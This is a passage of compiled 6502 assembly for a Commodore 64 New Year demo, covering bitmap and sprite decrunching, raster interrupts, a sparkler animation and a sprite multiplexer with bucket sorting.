lda #>P1_COLORS_CRUNCHED
sta.z byteboozer_decrunch.crunched+1
// Decrunch colors
jsr byteboozer_decrunch
// byteboozer_decrunch(P1_SPRITES_CRUNCHED)
lda #<P1_SPRITES_CRUNCHED
sta.z byteboozer_decrunch.crunched
lda #>P1_SPRITES_CRUNCHED
sta.z byteboozer_decrunch.crunched+1
// Decrunch sprites
jsr byteboozer_decrunch
// byteboozer_decrunch(FLIPPER_EASING_CRUNCHED)
lda #<FLIPPER_EASING_CRUNCHED
sta.z byteboozer_decrunch.crunched
lda #>FLIPPER_EASING_CRUNCHED
sta.z byteboozer_decrunch.crunched+1
// Decrunch flipper sine table
jsr byteboozer_decrunch
// init_rasters()
// Initialize the badlines
jsr init_rasters
// memset(PIXELS_EMPTY, 0x00, 0x800)
// Fill some empty pixels
ldx #0
lda #<PIXELS_EMPTY
sta.z memset.str
lda #>PIXELS_EMPTY
sta.z memset.str+1
lda #<$800
sta.z memset.num
lda #>$800
sta.z memset.num+1
jsr memset
// *PROCPORT_DDR = PROCPORT_DDR_MEMORY_MASK
// Enable CHARGEN, Disable kernal & basic
lda #PROCPORT_DDR_MEMORY_MASK
sta.z PROCPORT_DDR
// *PROCPORT = PROCPORT_RAM_CHARROM
lda #PROCPORT_RAM_CHARROM
sta.z PROCPORT
// memcpy(LOAD_CHARSET, CHARGEN, 0x800)
lda #<$800
sta.z memcpy.num
lda #>$800
sta.z memcpy.num+1
lda #<LOAD_CHARSET
sta.z memcpy.destination
lda #>LOAD_CHARSET
sta.z memcpy.destination+1
lda #<CHARGEN
sta.z memcpy.source
lda #>CHARGEN
sta.z memcpy.source+1
jsr memcpy
// *PROCPORT_DDR = PROCPORT_DDR_MEMORY_MASK
// Enable IO, Disable kernal & basic
lda #PROCPORT_DDR_MEMORY_MASK
sta.z PROCPORT_DDR
// *PROCPORT = PROCPORT_RAM_IO
lda #PROCPORT_RAM_IO
sta.z PROCPORT
// memcpy(LOAD_SCREEN, DEFAULT_SCREEN, 0x0400)
// Copy loading screen
lda #<$400
sta.z memcpy.num
lda #>$400
sta.z memcpy.num+1
lda #<LOAD_SCREEN
sta.z memcpy.destination
lda #>LOAD_SCREEN
sta.z memcpy.destination+1
lda #<DEFAULT_SCREEN
sta.z memcpy.source
lda #>DEFAULT_SCREEN
sta.z memcpy.source+1
jsr memcpy
// memcpy(LOAD_COLORS, COLS, 1000)
// Copy loading colors
lda #<$3e8
sta.z memcpy.num
lda #>$3e8
sta.z memcpy.num+1
lda #<LOAD_COLORS
sta.z memcpy.destination
lda #>LOAD_COLORS
sta.z memcpy.destination+1
lda #<COLS
sta.z memcpy.source
lda #>COLS
sta.z memcpy.source+1
jsr memcpy
// }
rts
}
part1_run: {
.const toSpritePtr1_return = $ff&P1_SPRITES/$40
// asm
sei
// *PROCPORT_DDR = PROCPORT_DDR_MEMORY_MASK
// Disable kernal & basic
lda #PROCPORT_DDR_MEMORY_MASK
sta.z PROCPORT_DDR
// *PROCPORT = PROCPORT_RAM_IO
lda #PROCPORT_RAM_IO
sta.z PROCPORT
// CIA1->INTERRUPT = CIA_INTERRUPT_CLEAR
// Disable CIA 1 Timer IRQ
lda #CIA_INTERRUPT_CLEAR
sta CIA1+OFFSET_STRUCT_MOS6526_CIA_INTERRUPT
// asm
// Acknowledge any timer IRQ
lda CIA1_INTERRUPT
// *IRQ_STATUS = 0x0f
// Acknowledge any VIC IRQ
lda #$f
sta IRQ_STATUS
// *VICII_CONTROL1 |= 0x80
// Set raster line to 0x136
lda #$80
ora VICII_CONTROL1
sta VICII_CONTROL1
// *RASTER = IRQ_PART1_TOP_LINE
lda #IRQ_PART1_TOP_LINE
sta RASTER
// *HARDWARE_IRQ = &irq_part1_top
// Set the IRQ routine
lda #<irq_part1_top
sta HARDWARE_IRQ
lda #>irq_part1_top
sta HARDWARE_IRQ+1
// *IRQ_ENABLE = IRQ_RASTER
// Enable Raster Interrupt
lda #IRQ_RASTER
sta IRQ_ENABLE
// VICII->SPRITES_MC = 0x01
// Show Sparkler
lda #1
sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITES_MC
// VICII->SPRITE0_COLOR = PINK
lda #PINK
sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITE0_COLOR
// VICII->SPRITES_MCOLOR1 = YELLOW
lda #YELLOW
sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITES_MCOLOR1
// VICII->SPRITES_MCOLOR2 = PURPLE
lda #PURPLE
sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITES_MCOLOR2
// VICII->SPRITES_XMSB = 0x01
lda #1
sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITES_XMSB
// VICII->SPRITE0_X = 22
// 262
lda #$16
sta VICII
// VICII->SPRITE0_Y = 190
// 262
lda #$be
sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITE0_Y
// P1_SCREEN_SPRITE_PTRS[0] = toSpritePtr(P1_SPRITES)
// 144
lda #toSpritePtr1_return
sta P1_SCREEN_SPRITE_PTRS
// asm
cli
// part1_loop()
jsr part1_loop
// }
rts
}
.segment CodePart2
part2_init: {
.const toSpritePtr1_return = $ff&PART2_SPRITES/$40
// Prepare 8 frames of y-positions into BUCKET_SPRITES
.label frame = $17
.label frame_idx = $21
// byteboozer_decrunch(SPRITES_CRUNCHED)
lda #<SPRITES_CRUNCHED
sta.z byteboozer_decrunch.crunched
lda #>SPRITES_CRUNCHED
sta.z byteboozer_decrunch.crunched+1
// Decrunch sprites
jsr byteboozer_decrunch
// memcpy(LOGO_DATA_CRUNCHED2, LOGO_DATA_CRUNCHED, LOGO_DATA_CRUNCHED_SIZE)
// Move the crunched logo data out of harms way
lda #<LOGO_DATA_CRUNCHED_SIZE
sta.z memcpy.num
lda #>LOGO_DATA_CRUNCHED_SIZE
sta.z memcpy.num+1
lda #<LOGO_DATA_CRUNCHED2
sta.z memcpy.destination
lda #>LOGO_DATA_CRUNCHED2
sta.z memcpy.destination+1
lda #<LOGO_DATA_CRUNCHED
sta.z memcpy.source
lda #>LOGO_DATA_CRUNCHED
sta.z memcpy.source+1
jsr memcpy
// memcpy(PLEX_ID_UPDATERS_CRUNCHED2, PLEX_ID_UPDATERS_CRUNCHED, PLEX_ID_UPDATERS_CRUNCHED_SIZE)
// Move the crunched plex updaters out of harms way
lda #<PLEX_ID_UPDATERS_CRUNCHED_SIZE
sta.z memcpy.num
lda #>PLEX_ID_UPDATERS_CRUNCHED_SIZE
sta.z memcpy.num+1
lda #<PLEX_ID_UPDATERS_CRUNCHED2
sta.z memcpy.destination
lda #>PLEX_ID_UPDATERS_CRUNCHED2
sta.z memcpy.destination+1
lda #<PLEX_ID_UPDATERS_CRUNCHED
sta.z memcpy.source
lda #>PLEX_ID_UPDATERS_CRUNCHED
sta.z memcpy.source+1
jsr memcpy
// byteboozer_decrunch(PLEX_ID_UPDATERS_CRUNCHED2)
lda #<PLEX_ID_UPDATERS_CRUNCHED2
sta.z byteboozer_decrunch.crunched
lda #>PLEX_ID_UPDATERS_CRUNCHED2
sta.z byteboozer_decrunch.crunched+1
// Decrunch multiplexer frame updaters (from new location)
jsr byteboozer_decrunch
// byteboozer_decrunch(LOGO_DATA_CRUNCHED2)
lda #<LOGO_DATA_CRUNCHED2
sta.z byteboozer_decrunch.crunched
lda #>LOGO_DATA_CRUNCHED2
sta.z byteboozer_decrunch.crunched+1
// Decrunch logo data
jsr byteboozer_decrunch
// *PROCPORT_DDR = PROCPORT_DDR_MEMORY_MASK
// Empty the hidden part of the bitmap
lda #PROCPORT_DDR_MEMORY_MASK
sta.z PROCPORT_DDR
// *PROCPORT = PROCPORT_RAM_ALL
lda #PROCPORT_RAM_ALL
sta.z PROCPORT
// memset(PART2_BITMAP+8000, 0, 192)
ldx #0
lda #<PART2_BITMAP+$1f40
sta.z memset.str
lda #>PART2_BITMAP+$1f40
sta.z memset.str+1
lda #<$c0
sta.z memset.num
lda #>$c0
sta.z memset.num+1
jsr memset
// *PROCPORT_DDR = PROCPORT_DDR_MEMORY_MASK
lda #PROCPORT_DDR_MEMORY_MASK
sta.z PROCPORT_DDR
// *PROCPORT = PROCPORT_RAM_IO
lda #PROCPORT_RAM_IO
sta.z PROCPORT
// memset(COLS, BLACK, 1024)
// Empty screen & cols
ldx #BLACK
lda #<COLS
sta.z memset.str
lda #>COLS
sta.z memset.str+1
lda #<$400
sta.z memset.num
lda #>$400
sta.z memset.num+1
jsr memset
// memset(PART2_SCREEN, BLACK, 1000)
ldx #BLACK
lda #<PART2_SCREEN
sta.z memset.str
lda #>PART2_SCREEN
sta.z memset.str+1
lda #<$3e8
sta.z memset.num
lda #>$3e8
sta.z memset.num+1
jsr memset
// VICII->SPRITE0_COLOR = GREY
// Fade the sparkler
lda #GREY
sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITE0_COLOR
// VICII->SPRITES_MCOLOR1 = BROWN
lda #BROWN
sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITES_MCOLOR1
// VICII->SPRITES_MCOLOR2 = BLUE
lda #BLUE
sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITES_MCOLOR2
// plexPrepareInit()
// Initialize PLEX tables
jsr plexPrepareInit
lda #<BUCKET_SPRITES
sta.z frame
lda #>BUCKET_SPRITES
sta.z frame+1
lda #0
sta.z frame_idx
__b1:
// for(char frame_idx=0;frame_idx<8;frame_idx++)
lda.z frame_idx
cmp #8
bcc __b2
// memcpy(ORIGINAL_BUCKET_SPRITES, BUCKET_SPRITES, sizeof(BUCKET_SPRITES))
// Copy the original buckets
lda #<8*9*8*SIZEOF_STRUCT_BUCKETSPRITE
sta.z memcpy.num
lda #>8*9*8*SIZEOF_STRUCT_BUCKETSPRITE
sta.z memcpy.num+1
lda #<ORIGINAL_BUCKET_SPRITES
sta.z memcpy.destination
lda #>ORIGINAL_BUCKET_SPRITES
sta.z memcpy.destination+1
lda #<BUCKET_SPRITES
sta.z memcpy.source
lda #>BUCKET_SPRITES
sta.z memcpy.source+1
jsr memcpy
ldx #0
// Set the initial sprite pointers
__b7:
// for(char s=0;s<PLEX_COUNT;s++)
cpx #$20
bcc __b12
// VICII->SPRITES_XMSB = 0x00
// Disable sparkler
lda #0
sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITES_XMSB
// VICII->SPRITE0_X = 0x00
sta VICII
// VICII->SPRITES_ENABLE = 0x00
sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITES_ENABLE
// VICII->SPRITES_MC = 0x00
// Set sprite colors
sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITES_MC
tax
__b9:
// for(char s=0;s<8;s++)
cpx #8
bcc __b10
// memset(PART2_SCREEN+1000, BLACK, 24)
// Empty the rest of the screen
ldx #BLACK
lda #<PART2_SCREEN+$3e8
sta.z memset.str
lda #>PART2_SCREEN+$3e8
sta.z memset.str+1
lda #<$18
sta.z memset.num
lda #>$18
sta.z memset.num+1
jsr memset
// }
rts
__b10:
// SPRITES_COLOR[s] = WHITE
lda #WHITE
sta SPRITES_COLOR,x
// for(char s=0;s<8;s++)
inx
jmp __b9
__b12:
// PLEX_PTR[s] = SPRITE_0+' '
lda #toSpritePtr1_return+' '
sta PLEX_PTR,x
// for(char s=0;s<PLEX_COUNT;s++)
inx
jmp __b7
__b2:
ldx.z frame_idx
ldy #0
__b4:
// for(char s=0; s<PLEX_COUNT;s++)
cpy #$20
bcc __b5
// plexPrepareFrame(frame)
lda.z frame
sta.z plexPrepareFrame.frame
lda.z frame+1
sta.z plexPrepareFrame.frame+1
// Perform bucket sort
jsr plexPrepareFrame
// frame += BUCKET_SIZE*BUCKET_COUNT
// Move to Next frame
lda #8*9*SIZEOF_STRUCT_BUCKETSPRITE
clc
adc.z frame
sta.z frame
bcc !+
inc.z frame+1
!:
// for(char frame_idx=0;frame_idx<8;frame_idx++)
inc.z frame_idx
jmp __b1
__b5:
// PLEX_YPOS[s] = SCROLL_YSIN[sin_idx]
lda SCROLL_YSIN,x
sta PLEX_YPOS,y
// sin_idx += 8
txa
axs #-[8]
// for(char s=0; s<PLEX_COUNT;s++)
iny
jmp __b4
}
part2_run: {
.const toDd001_return = 0
.const toD0181_return = >(PART2_SCREEN&$3fff)*4
// asm
sei
// VICII->BORDER_COLOR = BLACK
// Colors
lda #BLACK
sta VICII+OFFSET_STRUCT_MOS6569_VICII_BORDER_COLOR
// VICII->BG_COLOR = BLACK
sta VICII+OFFSET_STRUCT_MOS6569_VICII_BG_COLOR
// CIA2->PORT_A = toDd00(PART2_SCREEN)
// Change graphics bank
lda #toDd001_return
sta CIA2
// VICII->MEMORY = toD018(PART2_SCREEN, PART2_BITMAP)
// Show screen
lda #toD0181_return
sta VICII+OFFSET_STRUCT_MOS6569_VICII_MEMORY
// VICII->CONTROL1 |= VICII_BMM
// Set bitmap mode
lda #VICII_BMM
ora VICII+OFFSET_STRUCT_MOS6569_VICII_CONTROL1
sta VICII+OFFSET_STRUCT_MOS6569_VICII_CONTROL1
// *SPRITES_ENABLE = 0xff
// Enable & initialize sprites
lda #$ff
sta SPRITES_ENABLE
// CIA1->INTERRUPT = CIA_INTERRUPT_CLEAR
// Disable CIA 1 Timer IRQ
lda #CIA_INTERRUPT_CLEAR
sta CIA1+OFFSET_STRUCT_MOS6526_CIA_INTERRUPT
// asm
// Acknowledge any timer IRQ
lda CIA1_INTERRUPT
// *IRQ_STATUS = 0x0f
// Acknowledge any VIC IRQ
lda #$f
sta IRQ_STATUS
// *VICII_CONTROL1 &=0x7f
// Set raster line to first bucket
lda #$7f
and VICII_CONTROL1
sta VICII_CONTROL1
// *RASTER = BUCKET_YPOS[0]
lda BUCKET_YPOS
sta RASTER
// *IRQ_ENABLE = IRQ_RASTER
// Enable Raster Interrupt
lda #IRQ_RASTER
sta IRQ_ENABLE
// *HARDWARE_IRQ = &irq_swing_top
// Set the IRQ routine
lda #<irq_swing_top
sta HARDWARE_IRQ
lda #>irq_swing_top
sta HARDWARE_IRQ+1
// asm
cli
// plex_frame_id = 0
// The current frame ID (0-7)
lda #0
sta.z plex_frame_id
// plex_frame = BUCKET_SPRITES
// Pointer to the buckets of the current frame
lda #<BUCKET_SPRITES
sta.z plex_frame
lda #>BUCKET_SPRITES
sta.z plex_frame+1
// plex_id_offset = 0
// Offset added to plex_id to ensure the sprite cycling works (decreased 1 every time a cycle is complete)
lda #0
sta.z plex_id_offset
// part2_loop()
jsr part2_loop
// }
rts
}
.segment Code
// Animate the sparkler sprite
sparkler_anim: {
.const toSpritePtr1_return = $ff&P1_SPRITES/$40
// if(++sparkler_idx==30)
inc.z sparkler_idx
lda #$1e
cmp.z sparkler_idx
bne __b2
// sparkler_idx=0
lda #0
sta.z sparkler_idx
__b2:
// sparkler_idx/2
lda.z sparkler_idx
lsr
// toSpritePtr(P1_SPRITES)+sparkler_idx/2
clc
adc #toSpritePtr1_return
// P1_SCREEN_SPRITE_PTRS[0] = toSpritePtr(P1_SPRITES)+sparkler_idx/2
sta P1_SCREEN_SPRITE_PTRS
// }
rts
}
.segment CodePart1
// Initialize the BADLINES
init_rasters: {
.label i = $17
.label __3 = 4
lda #<0
sta.z i
sta.z i+1
__b1:
// for(unsigned int i=0;i<sizeof(RASTER_BADLINES);i++)
lda.z i+1
cmp #>$130*SIZEOF_CHAR
bcc __b2
bne !+
lda.z i
cmp #<$130*SIZEOF_CHAR
bcc __b2
!:
ldx #$32
__b3:
// for(char b=0x32;b<0xfa;b+=8)
cpx #$fa
bcc __b4
// }
rts
__b4:
// RASTER_BADLINES[b] = 1
lda #1
sta RASTER_BADLINES,x
// b+=8
txa
axs #-[8]
jmp __b3
__b2:
// RASTER_BADLINES[i] = 0
lda.z i
clc
adc #<RASTER_BADLINES
sta.z __3
lda.z i+1
adc #>RASTER_BADLINES
sta.z __3+1
lda #0
tay
sta (__3),y
// for(unsigned int i=0;i<sizeof(RASTER_BADLINES);i++)
inc.z i
bne !+
inc.z i+1
!:
jmp __b1
}
.segment Code
// Copies the character c (an unsigned char) to the first num characters of the object pointed to by the argument str.
// void * memset(__zp($12) void *str, __register(X) char c, __zp(4) unsigned int num)
memset: {
.label end = 4
.label dst = $12
.label num = 4
.label str = $12
// if(num>0)
lda.z num
bne !+
lda.z num+1
beq __breturn
!:
// char* end = (char*)str + num
clc
lda.z end
adc.z str
sta.z end
lda.z end+1
adc.z str+1
sta.z end+1
__b2:
// for(char* dst = str; dst!=end; dst++)
lda.z dst+1
cmp.z end+1
bne __b3
lda.z dst
cmp.z end
bne __b3
__breturn:
// }
rts
__b3:
// *dst = c
txa
ldy #0
sta (dst),y
// for(char* dst = str; dst!=end; dst++)
inc.z dst
bne !+
inc.z dst+1
!:
jmp __b2
}
// Copy block of memory (forwards)
// Copies the values of num bytes from the location pointed to by source directly to the memory block pointed to by destination.
// void * memcpy(__zp($12) void *destination, __zp(4) void *source, __zp(2) unsigned int num)
memcpy: {
.label src_end = 2
.label dst = $12
.label src = 4
.label source = 4
.label destination = $12
.label num = 2
// char* src_end = (char*)source+num
clc
lda.z src_end
adc.z source
sta.z src_end
lda.z src_end+1
adc.z source+1
sta.z src_end+1
__b1:
// while(src!=src_end)
lda.z src+1
cmp.z src_end+1
bne __b2
lda.z src
cmp.z src_end
bne __b2
// }
rts
__b2:
// *dst++ = *src++
ldy #0
lda (src),y
sta (dst),y
// *dst++ = *src++;
inc.z dst
bne !+
inc.z dst+1
!:
inc.z src
bne !+
inc.z src+1
!:
jmp __b1
}
.segment CodePart1
// Handle some stuff in the main() routine
part1_loop: {
.label __11 = $17
// p1_work_ready = 0
lda #0
sta.z p1_work_ready
__b1:
// while(p1_work_ready==0)
lda.z p1_work_ready
beq __b1
// flipper_fix_colors()
// Fix colors
jsr flipper_fix_colors
// demo_frame_count>9*50-3
lda.z demo_frame_count
sta.z __11
lda.z demo_frame_count+1
sta.z __11+1
// if(!sparkler_active && demo_frame_count>9*50-3)
lda.z sparkler_active
bne __b4
lda.z __11+1
cmp #>9*$32-3
bne !+
lda.z __11
cmp #<9*$32-3
!:
bcc __b4
beq __b4
// VICII->SPRITES_ENABLE = 0x01
lda #1
sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITES_ENABLE
// sparkler_active = 1
sta.z sparkler_active
__b4:
// demo_work()
// Perform any demo-wide work
jsr demo_work
// if(demo_frame_count>14*50)
lda.z demo_frame_count+1
cmp #>$e*$32
bne !+
lda.z demo_frame_count
cmp #<$e*$32
!:
bcc __b5
beq __b5
// demo_start()
// Re-start the demo base IRQ
jsr demo_start
// }
rts
__b5:
// p1_work_ready = 0
// My work is done!
lda #0
sta.z p1_work_ready
jmp __b1
}
.segment CodePart2
// Initialize data structures for the multiplexer
plexPrepareInit: {
ldx #0
// Initial sorting is trivial
__b1:
// for(char i=0; i<PLEX_COUNT;i++)
cpx #$20
bcc __b2
// }
rts
__b2:
// PLEX_SORTED_IDX[i] = i
txa
sta PLEX_SORTED_IDX,x
// for(char i=0; i<PLEX_COUNT;i++)
inx
jmp __b1
}
// Performs run-time bucket sort of the sprites in the PLEX_ arrays into struct BucketSprite[]
// Starts by performing a true sorting of the sprites based on Y-position (unsing insertion sort)
// void plexPrepareFrame(__zp(4) struct BucketSprite *frame)
plexPrepareFrame: {
.label nxt_idx = $14
.label nxt_y = $d
.label m = 6
.label bucket_ypos = 7
.label plex_id = $15
.label ypos = $16
.label bucket = 2
.label sprite = 4
.label i1 = 8
// The current bucket idx
.label bucket_id = $e
.label sprite_1 = 2
.label frame = 4
lda #0
sta.z m
// Sort the sprite indices in PLEX_SORTED_IDX based on the Y-position (using insertion sort)
// Assumes that the positions are nearly sorted already (as each sprite just moves a bit)
// 1. Moves a marker (m) from the start to end of the array. Every time the marker moves forward all elements before the marker are sorted correctly.
// 2a. If the next element after the marker is larger that the current element
// the marker can be moved forwards (as the sorting is correct).
// 2b. If the next element after the marker is smaller than the current element:
// elements before the marker are shifted right one at a time until encountering one smaller than the current one.
// It is then inserted at the spot. Now the marker can move forward.
__b1:
// for(char m=0;m<PLEX_COUNT-1;m++)
lda.z m
cmp #$20-1
bcs !__b2+
jmp __b2
!__b2:
ldx #0
// Initialize real sprite free to the first bucket Y-position
__b7:
// for(char i=0;i<8;i++)
cpx #8
bcs !__b8+
jmp __b8
!__b8:
// char bucket_ypos = BUCKET_YPOS[bucket_id]
// The current bucket start y-position
lda BUCKET_YPOS
sta.z bucket_ypos
lda.z frame
sta.z bucket
lda.z frame+1
sta.z bucket+1
lda #0
sta.z bucket_id
tax
sta.z i1
__b10:
// for(char i=0;i<PLEX_COUNT; i++)
lda.z i1
cmp #$20
bcc __b11
// bucket += BUCKET_SIZE
// Zero-fill the next sprite in the bucket (if not full)
lda #8*SIZEOF_STRUCT_BUCKETSPRITE
clc
adc.z bucket
sta.z bucket
bcc !+
inc.z bucket+1
!:
// if(sprite!=bucket)
lda.z sprite
cmp.z bucket
bne !+
lda.z sprite+1
cmp.z bucket+1
beq __breturn
!:
// sprite->ypos=0
lda #0
tay
sta (sprite),y
__breturn:
// }
rts
__b11:
// char plex_id = PLEX_SORTED_IDX[i]
ldy.z i1
lda PLEX_SORTED_IDX,y
sta.z plex_id
// unsigned char ypos = PLEX_YPOS[plex_id]
tay
lda PLEX_YPOS,y
sta.z ypos
// if(real_sprite_free_ypos[real_sprite_id] > bucket_ypos)
txa
tay
lda.z bucket_ypos
cmp real_sprite_free_ypos,y
bcs __b13
// bucket_id++;
inc.z bucket_id
// bucket_ypos = BUCKET_YPOS[bucket_id]
ldy.z bucket_id
lda BUCKET_YPOS,y
sta.z bucket_ypos
// bucket += BUCKET_SIZE
lda #8*SIZEOF_STRUCT_BUCKETSPRITE
clc
adc.z sprite_1
sta.z sprite_1
bcc !+
inc.z sprite_1+1
!:
// if(sprite!=bucket)
lda.z sprite
cmp.z sprite_1
bne !+
lda.z sprite+1
cmp.z sprite_1+1
beq __b14
!:
// sprite->ypos=0
lda #0
tay
sta (sprite),y
__b14:
lda.z sprite_1
sta.z sprite
lda.z sprite_1+1
sta.z sprite+1
__b13:
// sprite->ypos = ypos
// Identify problems filling buckets
// Put the sprite into the bucket
lda.z ypos
ldy #0
sta (sprite),y
// sprite->plex_id = plex_id
lda.z plex_id
ldy #OFFSET_STRUCT_BUCKETSPRITE_PLEX_ID
sta (sprite),y
// bucket_ypos += 1
// Increase bucket ypos to account for time spent placing the sprite
inc.z bucket_ypos
// ypos+22
lda #$16
clc
adc.z ypos
// real_sprite_free_ypos[real_sprite_id] = ypos+22
// Update next free ypos for the real sprite
sta real_sprite_free_ypos,x
// real_sprite_id+1
inx
// real_sprite_id = (real_sprite_id+1)&7
lda #7
axs #0
// sprite++;
lda #SIZEOF_STRUCT_BUCKETSPRITE
clc
adc.z sprite
sta.z sprite
bcc !+
inc.z sprite+1
!:
// for(char i=0;i<PLEX_COUNT; i++)
inc.z i1
jmp __b10
__b8:
// real_sprite_free_ypos[i] = BUCKET_YPOS[0]
lda BUCKET_YPOS
sta real_sprite_free_ypos,x
// for(char i=0;i<8;i++)
inx
jmp __b7
__b2:
// char nxt_idx = PLEX_SORTED_IDX[m+1]
ldy.z m
lda PLEX_SORTED_IDX+1,y
sta.z nxt_idx
// char nxt_y = PLEX_YPOS[nxt_idx]
tay
lda PLEX_YPOS,y
sta.z nxt_y
// if(nxt_y<PLEX_YPOS[PLEX_SORTED_IDX[m]])
ldx.z m
ldy PLEX_SORTED_IDX,x
cmp PLEX_YPOS,y
bcs __b3
__b4:
// PLEX_SORTED_IDX[s+1] = PLEX_SORTED_IDX[s]
lda PLEX_SORTED_IDX,x
sta PLEX_SORTED_IDX+1,x
// s--;
dex
// while((s!=0xff) && (nxt_y<PLEX_YPOS[PLEX_SORTED_IDX[s]]))
cpx #$ff
beq __b5
lda.z nxt_y
ldy PLEX_SORTED_IDX,x
cmp PLEX_YPOS,y
bcc __b4
__b5:
// s++;
inx
// PLEX_SORTED_IDX[s] = nxt_idx
lda.z nxt_idx
sta PLEX_SORTED_IDX,x
__b3:
// for(char m=0;m<PLEX_COUNT-1;m++)
inc.z m
jmp __b1
.segment DataPart2
// Y-position where each real sprite is free (used for selecting the best bucket)
real_sprite_free_ypos: .fill 8, 0
}
.segment CodePart2
// Part 2 main loop
part2_loop: {
.label __23 = $17
.label __24 = $12
// p2_work_ready = 0
lda #0
sta.z p2_work_ready
__b1:
// while(p2_work_ready==0)
lda.z p2_work_ready
beq __b1
// demo_work()
// Play music
jsr demo_work
// if(p2_logo_revealing && !p2_logo_reveal_done)
lda.z p2_logo_revealing
beq __b4
lda.z p2_logo_reveal_done
beq __b3
jmp __b4
__b3:
// p2_logo_reveal()
jsr p2_logo_reveal
__b4:
// demo_frame_count>18*50+25
lda.z demo_frame_count
sta.z __23
lda.z demo_frame_count+1
sta.z __23+1
// if(!p2_logo_revealing && demo_frame_count>18*50+25)
lda.z p2_logo_revealing
bne __b5
lda.z __23+1
cmp #>$12*$32+$19
bne !+
lda.z __23
cmp #<$12*$32+$19
!:
bcc __b5
beq __b5
// p2_logo_revealing = 1
lda #1
sta.z p2_logo_revealing
__b5:
// if(!p2_logo_swinging && p2_logo_reveal_done)
lda.z p2_logo_swinging
bne __b6
lda.z p2_logo_reveal_done
beq __b6
// p2_logo_swinging = 1
lda #1
sta.z p2_logo_swinging
__b6:
// demo_frame_count>26*50
lda.z demo_frame_count
sta.z __24
lda.z demo_frame_count+1
sta.z __24+1
// if(!p2_plex_scroller_moving && demo_frame_count>26*50)
lda.z p2_plex_scroller_moving
bne __b7
lda.z __24+1
cmp #>$1a*$32
bne !+
lda.z __24
cmp #<$1a*$32
!:
bcc __b7
beq __b7
// p2_plex_scroller_moving = 1
lda #1
sta.z p2_plex_scroller_moving
__b7:
// p2_work_ready = 0
// My work is done!
lda #0
sta.z p2_work_ready
jmp __b1
}
.segment CodePart1
// Fixes the colors for the flipper
// Updates with bitmap colors when the bitmap is being shown
flipper_fix_colors: {
.label __4 = $12
.label __5 = $12
.label __12 = 2
.label offset = 2
.label colors = $b
.label happy_cols = 2
.label __13 = 4
.label __14 = 2
// if(irq_flipper_top_line>0x2e && irq_flipper_top_line<0xf6)
lda.z irq_flipper_top_line+1
bne !+
lda.z irq_flipper_top_line
cmp #$2e+1
bcc __breturn
!:
lda.z irq_flipper_top_line+1
bne !+
lda.z irq_flipper_top_line
cmp #$f6
bcc __b1
!:
__breturn:
// }
rts
__b1:
// irq_flipper_top_line-0x2e
sec
lda.z irq_flipper_top_line
sbc #$2e
sta.z __4
lda.z irq_flipper_top_line+1
sbc #0
sta.z __4+1
// (irq_flipper_top_line-0x2e)/8
lsr.z __5+1
ror.z __5
lsr.z __5+1
ror.z __5
lsr.z __5+1
ror.z __5
// char charline = (char)((irq_flipper_top_line-0x2e)/8)
lda.z __5
// if(charline>=flipper_charline)
cmp.z flipper_charline
bcc __breturn
// unsigned int offset = (unsigned int)flipper_charline*40
lda.z flipper_charline
sta.z __12
lda #0
sta.z __12+1
lda.z __12
asl
sta.z __13
lda.z __12+1
rol
sta.z __13+1
asl.z __13
rol.z __13+1
clc
lda.z __14
adc.z __13
sta.z __14
lda.z __14+1
adc.z __13+1
sta.z __14+1
asl.z offset
rol.z offset+1
asl.z offset
rol.z offset+1
asl.z offset
rol.z offset+1
// char* colors = COLS+offset
// We have to update some colors
lda.z offset
clc
adc #<COLS
sta.z colors
lda.z offset+1
adc #>COLS
sta.z colors+1
// char* happy_cols = P1_COLORS+offset
lda.z happy_cols
clc
adc #<P1_COLORS
sta.z happy_cols
lda.z happy_cols+1
adc #>P1_COLORS
sta.z happy_cols+1
ldy #0
__b3:
// for(char i=0;i<40;i++)
cpy #$28
bcc __b4
// flipper_charline++;
inc.z flipper_charline
rts
__b4:
// colors[i] = happy_cols[i]
lda (happy_cols),y
sta (colors),y
// for(char i=0;i<40;i++)
iny
jmp __b3
}
.segment CodePart2
// Reveals the logo column by column
p2_logo_reveal: {
// if(p2_logo_reveal_idx>=40)
lda.z p2_logo_reveal_idx
cmp #$28
bcs __b1
// vsp_update_screen(p2_logo_reveal_idx++)
sta.z vsp_update_screen.x_offset
jsr vsp_update_screen
// vsp_update_screen(p2_logo_reveal_idx++);
inc.z p2_logo_reveal_idx
// }
rts
__b1:
// p2_logo_reveal_done = 1
lda #1
sta.z p2_logo_reveal_done
rts
}
.segment Data
// The byteboozer decruncher
BYTEBOOZER:
.const B2_ZP_BASE = $fc
#import "byteboozer_decrunch.asm"
.segment InitPart1
// MC Bitmap Data
P1_PIXELS_CRUNCHED:
.modify B2() {
.pc = P1_PIXELS "HAPPYNEWYEAR PIXELS"
#import "mcbitmap.asm"
.var mcBmmData1 = getMcBitmapData(LoadPicture("happy-newyear.png"))
.for (var y=0; y<25; y++)
.for (var x=0; x<40; x++)
.fill 8, getMcPixelData(x, y, i, mcBmmData1)
}
P1_SCREEN_CRUNCHED:
.modify B2() {
.pc = P1_SCREEN "HAPPYNEWYEAR SCREEN"
.for (var y=0; y<25; y++)
.for (var x=0; x<40; x++)
.byte getMcScreenData(x, y, mcBmmData1)
}
P1_COLORS_CRUNCHED:
.modify B2() {
.pc = P1_COLORS "HAPPYNEWYEAR COLORS"
.for (var y=0; y<25; y++)
.for (var x=0; x<40; x++)
.byte getMcColorData(x, y, mcBmmData1)
}
// Sparkler sprites
P1_SPRITES_CRUNCHED:
.modify B2() {
.pc = P1_SPRITES "P1_SPRITES"
// Pixels 11 01 10 11
.var p1_sprites = LoadPicture("sparklers.png", List().add($000000, $daccc3, $472a24, $957a71))
.for(var sx=0;sx<15;sx++) {
.for (var y=0;y<21; y++) {
.for (var c=0; c<3; c++) {
.byte p1_sprites.getMulticolorByte(sx*3+c,y)
}
}
